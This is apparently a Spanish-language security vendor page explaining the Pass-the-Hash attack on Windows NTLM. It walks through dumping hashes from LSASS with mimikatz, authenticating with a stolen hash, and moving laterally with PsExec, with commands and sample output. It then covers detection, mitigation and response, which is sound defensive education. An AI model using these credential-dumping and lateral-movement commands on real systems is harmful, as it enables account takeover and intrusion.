Magic Quadrant™ para la gestión de acceso privilegiado 2025: Netwrix reconocida por cuarto año consecutivo. Descarga el informe.

Plataforma

Ataque de Pass the Hash

Una vez que un adversario ha logrado infiltrarse en la red, sus tácticas cambian a comprometer sistemas adicionales y obtener los privilegios que necesitan para completar su misión. Pass-the-Hash es una técnica de robo de credenciales y movimiento lateral en la que un atacante abusa del protocolo de autenticación NTLM para autenticarse como un usuario sin obtener nunca la contraseña en texto plano de la cuenta. Dado que el atacante utiliza el hash de la contraseña, que normalmente solo cambia cuando la propia contraseña se cambia, el adversario tiene un tiempo significativo para abusar de la cuenta comprometida.

Resumen de amenazas

Objetivo: endpoints de Windows habilitados para LM y NTLM

Herramientas: mimikatz, Cobalt Strike, Empire, Invoke-TheHash, Metasploit

Táctica ATT&CK®: Evasión de Defensa, Movimiento Lateral

Técnica ATT&CK: T1550.002

Dificultad

Detección: Hard

Mitigación: Difícil

Respuesta: Media

Tutorial de ataque: Cómo funciona un ataque de Pass the Hash

PASO 1: Robar los hashes de contraseñas

Un adversario que ha logrado infiltrarse en una red puede utilizar varios métodos para obtener los hashes de contraseñas, incluyendo ataques de DCSync y la extracción de hashes del archivo NTDS.dit. Otro método, mostrado a continuación, es extraer los hashes de contraseñas de la memoria del proceso LSASS.exe, que almacena los hashes para usuarios con sesiones activas en el ordenador. Cabe destacar que esta técnica requiere que el adversario haya comprometido los privilegios administrativos del ordenador (por ejemplo, al persuadir a un usuario que es administrador en la estación de trabajo para que abra un correo electrónico de phishing).

      PS> .\mimikatz.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords"

Authentication Id : 0 ; 302247 (00000000:00049ca7)

Session: RemoteInteractive from 2

User Name: joed

Domain: DOMAIN

Logon Server: DC1

Logon Time: 09/07/2020 10:31:19

SID: S-1-5-21-3501040295-3816137123-30697657-1109

msv :

[00000003] Primary

* Username : joed

* Domain: DOMAIN

* NTLM: eed224b4784bb040aab50b8856fe9f02

* SHA1: 42f95dd2a124ceea737c42c06ce7b7cdfbf0ad4b

* DPAPI: e75e04767f812723a24f7e6d91840c1d

tspkg :

wdigest :

* Username : joed

* Domain: DOMAIN

* Password : (null)

kerberos :

* Username : joed

* Domain: domain.com

* Password : (null)

ssp :

credman :

      

PASO 2: Autenticarse utilizando un hash de contraseña robado

A continuación, el adversario utiliza uno de los hashes de contraseña robados para autenticarse como usuario utilizando la técnica Pass the Hash. El ejemplo a continuación demuestra el uso del hash de contraseña robado para lanzar cmd.exe; también es posible pasar el hash directamente a través de la red a cualquier recurso accesible que permita la autenticación NTLM.

Para pasar el hash utilizando mimikatz sekurlsa::pth, se especifican los siguientes parámetros:

      


/user: — The compromised user’s username

/domain: — The FQDN of the domain (if using a domain account) or “.” (if using a local account)

/ntlm:, /aes128: or /aes256: — The stolen NTLM, AES-128 or AES-256 password hash

PS> .\mimikatz.exe "sekurlsa::pth /user:JoeD /domain:domain.com /ntlm:eed224b4784bb040aab50b8856fe9f02"

user: JoeD

domain: domain.com

program : cmd.exe

impers. : no

NTLM: eed224b4784bb040aab50b8856fe9f02

| PID11560

|TID10044

|LSA Process is now R/W

|LUID 0 ; 58143370 (00000000:0377328a)

\_ msv1_0- data copy @ 000001AE3DDE8A30 : OK !

\_ kerberos - data copy @ 000001AE3DECE9E8

\_ aes256_hmac-> null

\_ aes128_hmac-> null

\_ rc4_hmac_ntOK

\_ rc4_hmac_oldOK

\_ rc4_md4OK

\_ rc4_hmac_nt_expOK

\_ rc4_hmac_old_expOK

\_ *Password replace @ 000001AE3DFEC428 (32) -> null

# New CMD Window Opens
      


PASO 3: Acceder a otros recursos

Finalmente, el adversario puede usar los privilegios recién adquiridos para avanzar en sus objetivos. El ejemplo a continuación muestra cómo pueden usar la herramienta PSExec para ejecutar comandos en sistemas remotos con el fin de expandir su huella y repetir el ciclo de robo de credenciales y movimiento lateral en un número cada vez mayor de sistemas.

      


PS> .\PSExec.exe \\server1 cmd.exe

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1282]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>hostname

server1
      

Detectar, Mitigar y Responder

Detectar

Dificultad: Difícil

Debido a que la autenticación NTLM es procesada por cada estación de trabajo y servidor, el ataque de pass-the-hash puede ser un desafío para las organizaciones detectar, ya que cada punto final necesita ser monitoreado por actividad sospechosa.

  • Monitoree las autenticaciones NTLM (particularmente para conexiones remotas) en busca de cambios en los patrones de comportamiento del usuario, por ejemplo: un usuario accediendo a un mayor número de endpoints de lo normal; o, un usuario accediendo a endpoints por primera vez.
  • Para extraer hashes del proceso LSASS.exe de un endpoint, el malware necesitaría obtener un identificador con los privilegios PROCESS_VM_OPERATION y PROCESS_VM_WRITE. Las soluciones de Endpoint Detection and Response pueden monitorear los procesos que crean identificadores sospechosos.
  • Extraer hashes de Active Directory requiere privilegios administrativos y el uso de otras técnicas como DCSync y extraer hashes de NTDS.dit. La detección de estas técnicas se discute en las páginas de su Catálogo de Ataques.

Mitigar

Dificultad: Difícil

Debido a que el abuso de pass-the-hash utiliza características del protocolo NTLM, no puede ser eliminado por completo. Sin embargo, existen soluciones que pueden dificultar que los adversarios comprometan los hashes o restringir su capacidad para utilizar esos hashes para moverse lateralmente.

  • Habilite el Windows Defender Credential Guard de Microsoft. Introducido en Windows 10 y Windows Server 2016, Credential Guard se basa en la virtualización para proteger el almacenamiento de credenciales y solo permite el acceso a procesos de confianza.
  • Elimine los privilegios de administrador de los usuarios de sus estaciones de trabajo, limitando la capacidad de los adversarios para ejecutar malware y eliminando los privilegios necesarios para extraer hashes de LSASS.exe.
  • No permita que los usuarios posean privilegios administrativos en un gran número de endpoints. Esto reduce considerablemente el valor de las credenciales para un adversario que busca utilizarlas para movimiento lateral.
  • No permita que los usuarios posean privilegios administrativos a través de límites de seguridad. Esto reduce considerablemente el riesgo de que una credencial comprometida pueda ser utilizada por un adversario para escalar privilegios.
  • Aleatorice y almacene contraseñas de administrador local utilizando una solución como Microsoft's Local Administrator Password Solution (LAPS). Esto reduce la capacidad de un adversario para moverse lateralmente con cuentas locales que comparten la misma contraseña.
  • No permita que las cuentas locales se autentiquen a través de la red. Esto reduce la capacidad de un adversario para moverse lateralmente con cuentas locales que comparten la misma contraseña. Dos nuevos SIDS conocidos fueron agregados en Windows 8.1 y Windows 2012R2 y pueden ser utilizados en políticas de grupo para este propósito. El SID S-1-5-113 se aplicará a cualquier cuenta local, mientras que el SID S-1-5-114 se aplicará a cualquier cuenta local que también sea miembro del grupo de Administradores locales.
  • Agregue cuentas de dominio privilegiadas al grupo Protected Users para reducir los riesgos de robo de credenciales.
  • Configure un cortafuegos basado en el host (como Windows Defender Firewall) para controlar y limitar qué hosts pueden comunicarse entre sí. Por ejemplo, en la mayoría de los entornos, las estaciones de trabajo tienen poca necesidad de comunicarse directamente con otras estaciones de trabajo. Utilizar un cortafuegos basado en el host para bloquear este tráfico puede limitar el movimiento lateral.

Responder

Dificultad: Media

Si detecta un posible uso de Pass the Hash, realice las siguientes acciones de inmediato:

  • Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta.
  • Restablezca la contraseña del usuario comprometido, lo que hace que el hash de la contraseña robada sea inválido.
  • Ponga en cuarentena las máquinas afectadas para la investigación forense y las actividades de erradicación y recuperación. Analice los registros para determinar si esta computadora es el paciente cero o si el atacante se desplazó a esta máquina desde otro lugar, así como si el atacante se desplazó de esta máquina a otra.

Compartir en

Ver ataques de ciberseguridad relacionados

Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa

Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa

Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa

Ataque Hafnium - Cómo funciona y estrategias de defensa

Ataques DCSync explicados: Amenaza a la seguridad de Active Directory

Ataque Golden SAML

Entendiendo los ataques de Golden Ticket

Ataque de Cuentas de Servicio Administradas por Grupo

Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa

ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención

Ataque de extracción de contraseñas de NTDS.dit

Ataque de Kerberoasting – Cómo funciona y estrategias de defensa

Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa

Ataque de Password Spraying

Ataque de extracción de contraseñas en texto plano

Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación

Ataques de ransomware a Active Directory

Desbloqueando Active Directory con el ataque Skeleton Key

Movimiento lateral: Qué es, cómo funciona y prevenciones

Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos

¿Por qué es PowerShell tan popular entre los atacantes?

4 ataques a cuentas de servicio y cómo protegerse contra ellos

Cómo prevenir que los ataques de malware afecten a su negocio

¿Qué es Credential Stuffing?

Comprometiendo SQL Server con PowerUpSQL

¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?

Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)

Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos

Una mirada exhaustiva a los ataques de contraseñas y cómo detenerlos

Reconocimiento LDAP

Eludir MFA con el ataque Pass-the-Cookie

Ataque de Silver Ticket